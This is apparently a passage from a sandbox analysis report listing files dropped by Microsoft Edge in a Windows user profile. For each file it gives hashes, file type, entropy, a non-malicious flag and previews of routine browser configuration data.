SSDEEP:	384:8/2qOB1nxCkMySAELyKOMq+8yC8F/YfU5m+OlTLVumg:Bq+n0Jy9ELyKOMq+8y9/Ow/
MD5:	EC2D0C067B133953EBAD58285F9E132A
SHA1:	62CDBA7E7CDFCC1DC134394D8008A7A48AD45198
SHA-256:	8AC0AC1A9117890FFA8020D8C3222CB80E44484405B6D868FE749AD16E7A7BD6
SHA-512:	4F4ABD275400ED71371C21A6D57E44EDA79CA672E3F205F30FD0F53023E1A7369A32BC8C9BAA646DD2F68FC6F74A0F8954146C1E25B6C733E0AEE57B8D6633C1
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.46710923709961977
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB05W/:v7doKsKuKZKlZNmu46yjx05O
MD5:	E76343150172232AB3382274ED898739
SHA1:	7A733D7E77836D35FF877F2FF4BC0FC5568F3D02
SHA-256:	3EB42E593E6DED08EC5CEBD04145736A7F4B7CBEBD500DA5039A78F319A17EAC
SHA-512:	DC3BE1987C7D58FC95397475AA5556E8BD467A4D4006C867DEFD7EE5713C6D55C71411757DE7EDC57735D9BED34F36DCCEB06D47E6F73707E518BEE132AF517F
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\be5725b1-78c7-4b5a-baee-b2d260ce1949.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9745
Entropy (8bit):	5.111731514707979
Encrypted:	false
SSDEEP:	192:sthkdpOsP9sZihUkdhw8cbV+F2G3QA66WiTaFIMY+PjYJ:sthQOsP9fhObG2sQx6WiTaTY/
MD5:	13EB1014E7E85771B1DAAD77D84489B4
SHA1:	F87DE7BF981C6C686372823AD800113C773B7C19
SHA-256:	BE8C1D62C727F158DDDC114EE6116D2A571F886F7FA5842C01A789ABCA15D600
SHA-512:	6DE06031D7784FC7B46414169B4CC1BA3A82B82C6D708A2CDC2C53A949A334C4CCFDCB02516A63923CE5F5E8D1E92C682E52E005EF6A5A5BEAA5CCB3E4E6E07C
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374704110296545","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\df3ac458-1c72-4776-82f3-06bad2f737e7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17458), with no line terminators
Category:	dropped
Size (bytes):	17462
Entropy (8bit):	5.483887590591024
Encrypted:	false
SSDEEP:	384:sthPGKSu4OsP9fhDmbfh+qeebG2sQwH6W3OlaTY/:s7Oxu+9fhebGqAkaTY/
MD5:	0A2178B6A8F1979DA1D34F82D0486200
SHA1:	F3D638ADFEA2324AB1987CDCCA5F1F0DAFA8AA3F
SHA-256:	27D1C04DA7BD2C7CABD9FFAD033508558A2F09D93F52C87EC5AB39A3BCD0D739
SHA-512:	80841C6F95773558FA396D5323AA470996EDA10C9E4B102AF0925CFA014F01A1893CD6BE320A8E8B5ED5E355B56F0049E5C59A014682F634C8570EF7F7B3C081
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374704110296545","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\fb87c77b-3069-414b-91f3-f89f860c15b9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	30243
Entropy (8bit):	5.565961107487984
Encrypted:	false
SSDEEP:	768:iE2RD/7pLGLpFIWPDXfET8F1+UoAYDCx9Tuqh0VfUC9xbog/OVxJSwI5Wrwm2pen:iE2RD5cpFIWPDXfETu1jawJSf5zmtN
MD5:	82DFBA88FF68C93EC6DE15492B48B089
SHA1:	B17D0A321DD350728FAB3B79A6E8407E1FA09BAF
SHA-256:	D73698BFD5EA3DCE0A9BE4FDCCD5B07E28027D8AE7D9F5E120DB07CD6E478FE5
SHA-512:	5649A875F773F21CADA6737D733C9A1F489E670986015FC89A0E83E68A633735BAE6ACA315AB1D313104085E81D4BC4F667BB87FF100D3152E1895130228CD73
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13374704109549352","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13374704109549352","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.10559604517824529
Encrypted:	false
SSDEEP:	12:Jnteoonteo+MpEjVl/PnnnnnnnnnnnnvoQtEoxu:Jnt7ont7+4oPnnnnnnnnnnnnvHj
MD5:	1FECA05887E45FDFF4AE390125BFE8BD
SHA1:	48B1046DDC04A7A89808E23CE78573F78A69E8F3
SHA-256:	54EFD8330A766335A0B6BA5235072E5A1EDD7EA862A703458F7FF1FD947FEB01
SHA-512:	3186A18905BA3CA860734AAE94577BB31EEDF98CBC479F4E76F9276C777F6ED957BCB5C04BEE0105256909AB8A57038C6DF431B435A641C09D75154E305A655B
Malicious:	false
Preview:	..-.............Q.........O.Kj~..4..}..6.....E...-.............Q.........O.Kj~..4..}..6.....E.........M...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	333752
Entropy (8bit):	0.9344292682139906
Encrypted:	false
SSDEEP:	384:G24GWy/AJEGQm4hGjmqpKGYo334hGpE+3yTyRvkyoyxVyB3xynB:uTgxs
MD5:	34F61A8C76C8439FC06D58B538B4736E
SHA1:	D576C0C86C7A195D9CC9CA4C14200F1346BE1813
SHA-256:	6E966AA6148E4D8A98FC12A0435C65F45884D02DEBD8BD145C117143141680FB
SHA-512:	9ECF386BC10B27F246715B4C5639127DDDCCD400BC400C9884FE1654379DE8651028935B5C6371AEC198CA65EC86C9E056B18C88167CC026910A0CDBCC2D38A7
Malicious:	false
Preview:	7....-...........4..}...8.?L.0.........4..}........C.SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	628
Entropy (8bit):	3.2323087221588382
Encrypted:	false
SSDEEP:	12:Wlc8NOuuuuuuuuuuuuuuuuuuuuuuura8Z:iDjB
MD5:	311E612FB984E197256351C65439146D
SHA1:	6D50A7A7F9B16EACF0272145F1D175E08C128B15
SHA-256:	97B982E31D3E281AF2C620F55BC0BB382BCD926C215F3E75E74CADB581ADEC9A
SHA-512:	104C1C238EC724FA32A9EF87261797E29E0965BE4AD690DF9C519D998D813CA504D8C6F7AD6A2DA36DDE6ACFF9947249C7661BD127970153E28E61851964C8C9
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1..}0................39_config..........6.....n ....1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............zV.$0................39_config..........6.....n ....1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.233815762172453
Encrypted:	false
SSDEEP:	6:fhRq2P923oH+TcwtfrK+IFUt8UhMZmw+UhjkwO923oH+TcwtfrUeLJ:pRv4Yeb23FUt8KM/+Kj5LYeb3J
MD5:	3F4A9D5B7D9F2AC3CC897EA130802862
SHA1:	A640279BCD74D95B021BB81E2C54A3BFF31E87D9
SHA-256:	D6405A415955A801D25E74BB8B4E711721A66928666C1443D70ED6D1824FE386
SHA-512:	7AFE42D1D61DE0A9CB63FAA4C0F45D802E01B1E62AE781FE921578B73AF4CFA22F6876DD6F73BB7E361AE706828F3778DC888814919561CAB5823DD157B83300
Malicious:	false
Preview:	2024/10/29-15:35:10.317 1d74 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/10/29-15:35:10.317 1d74 Recovering log #3.2024/10/29-15:35:10.318 1d74 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.233815762172453
Encrypted:	false
SSDEEP:	6:fhRq2P923oH+TcwtfrK+IFUt8UhMZmw+UhjkwO923oH+TcwtfrUeLJ:pRv4Yeb23FUt8KM/+Kj5LYeb3J
MD5:	3F4A9D5B7D9F2AC3CC897EA130802862
SHA1:	A640279BCD74D95B021BB81E2C54A3BFF31E87D9
SHA-256:	D6405A415955A801D25E74BB8B4E711721A66928666C1443D70ED6D1824FE386
SHA-512:	7AFE42D1D61DE0A9CB63FAA4C0F45D802E01B1E62AE781FE921578B73AF4CFA22F6876DD6F73BB7E361AE706828F3778DC888814919561CAB5823DD157B83300
Malicious:	false
Preview:	2024/10/29-15:35:10.317 1d74 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/10/29-15:35:10.317 1d74 Recovering log #3.2024/10/29-15:35:10.318 1d74 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	787
Entropy (8bit):	4.059252238767438
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z3p/Uz0RuWlJhC+lvBavRtin01zvZDEtlkyBrgxvB1ys:G0nYUtypD3RUovhC+lvBOL+t3IvB8s
MD5:	D8D8899761F621B63AD5ED6DF46D22FE
SHA1:	23E6A39058AB3C1DEADC0AF2E0FFD0D84BB7F1BE
SHA-256:	A5E0A78EE981FB767509F26021E1FA3C506F4E86860946CAC1DC4107EB3B3813
SHA-512:	4F89F556138C0CF24D3D890717EB82067C5269063C84229E93F203A22028782902FA48FB0154F53E06339F2FDBE35A985CE728235EA429D8D157090D25F15A4E
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....,.1..................19_.....QL.s.................18_.....<.J\|.................37_...... .A.................38_..........................39_........].................20_.....Owa..................20_.....`..N.................19_.....D8.X.................18_......`...................37_..........................38_......\e..................39_.....dz.\|.................9_.....'\c..................9_.......f-.................__global... .\|.&R.................__global... ./....................__global... ..T...................__global... ...G..................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.196429592735329
Encrypted:	false
SSDEEP:	6:fh0q2P923oH+TcwtfrzAdIFUt8UhaZmw+UhAkwO923oH+TcwtfrzILJ:p0v4Yeb9FUt8Ka/+KA5LYeb2J
MD5:	643A30031A05AD10A8FE696E26961164
SHA1:	0F8AD1E6C98D196D3DD395511243836FC946174C
SHA-256:	9CE850AA93D23BE755D218C988A84E4B3BCB20E92A2BDE445EFFA5D329235EE1
SHA-512:	F8E72C36727A9C774B6C217E589B927F037949E9F57EDBDDD55B90313BD3894067CFFC2714D1E27E914D0FBC2B788C6BC7CCD699E754FF881D8C2169D745758A
Malicious:	false
Preview:	2024/10/29-15:35:10.314 1d74 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/10/29-15:35:10.311 1d74 Recovering log #3.2024/10/29-15:35:10.313 1d74 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.196429592735329
Encrypted:	false
SSDEEP:	6:fh0q2P923oH+TcwtfrzAdIFUt8UhaZmw+UhAkwO923oH+TcwtfrzILJ:p0v4Yeb9FUt8Ka/+KA5LYeb2J
MD5:	643A30031A05AD10A8FE696E26961164
SHA1:	0F8AD1E6C98D196D3DD395511243836FC946174C
SHA-256:	9CE850AA93D23BE755D218C988A84E4B3BCB20E92A2BDE445EFFA5D329235EE1
SHA-512:	F8E72C36727A9C774B6C217E589B927F037949E9F57EDBDDD55B90313BD3894067CFFC2714D1E27E914D0FBC2B788C6BC7CCD699E754FF881D8C2169D745758A
Malicious:	false
Preview:	2024/10/29-15:35:10.314 1d74 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/10/29-15:35:10.311 1d74 Recovering log #3.2024/10/29-15:35:10.313 1d74 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090706644680187
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMhwuF9hDO6vP6O+vtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEF66tbz8hu3VlXr4CRo1
MD5:	2D16DFAD0966D10071FA1D35949A85D7
SHA1:	27ADADA8ABBFF8AB0340BB221087BE8B05499F45
SHA-256:	79BA3ECE6A7DA08591CB4FBA488B10FB7F91D2F0E991D72551DFEA8E0F5DEA9B
SHA-512:	34325E445370C036598AF17CE53A0832C318827586B965315C837F23904AF9D8A2E310FE252CBA62F9502FF5FF0622A1ACF73DF6C3003D481E97BDF55B923805
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF39490.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090706644680187
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMhwuF9hDO6vP6O+vtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEF66tbz8hu3VlXr4CRo1
MD5:	2D16DFAD0966D10071FA1D35949A85D7
SHA1:	27ADADA8ABBFF8AB0340BB221087BE8B05499F45
SHA-256:	79BA3ECE6A7DA08591CB4FBA488B10FB7F91D2F0E991D72551DFEA8E0F5DEA9B
SHA-512:	34325E445370C036598AF17CE53A0832C318827586B965315C837F23904AF9D8A2E310FE252CBA62F9502FF5FF0622A1ACF73DF6C3003D481E97BDF55B923805
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF395b9.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090706644680187
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMhwuF9hDO6vP6O+vtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEF66tbz8hu3VlXr4CRo1
MD5:	2D16DFAD0966D10071FA1D35949A85D7
SHA1:	27ADADA8ABBFF8AB0340BB221087BE8B05499F45
